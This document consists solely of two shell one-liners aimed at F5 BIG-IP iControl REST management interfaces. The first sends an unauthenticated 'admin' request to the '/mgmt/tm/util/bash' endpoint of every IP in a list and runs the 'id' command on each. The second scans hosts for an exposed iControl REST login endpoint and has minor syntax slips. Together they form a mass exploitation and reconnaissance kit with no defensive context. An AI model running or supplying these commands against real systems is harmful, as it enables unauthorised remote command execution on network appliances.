cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done

cat ips.txt | while read host do; do curl -sk "https://$host/mgmt/shared/authn/login" | grep -q 'resterrorresponse' && printf "$host \0331;41mF5 iControl REST API Exposed\e[0m\n"; done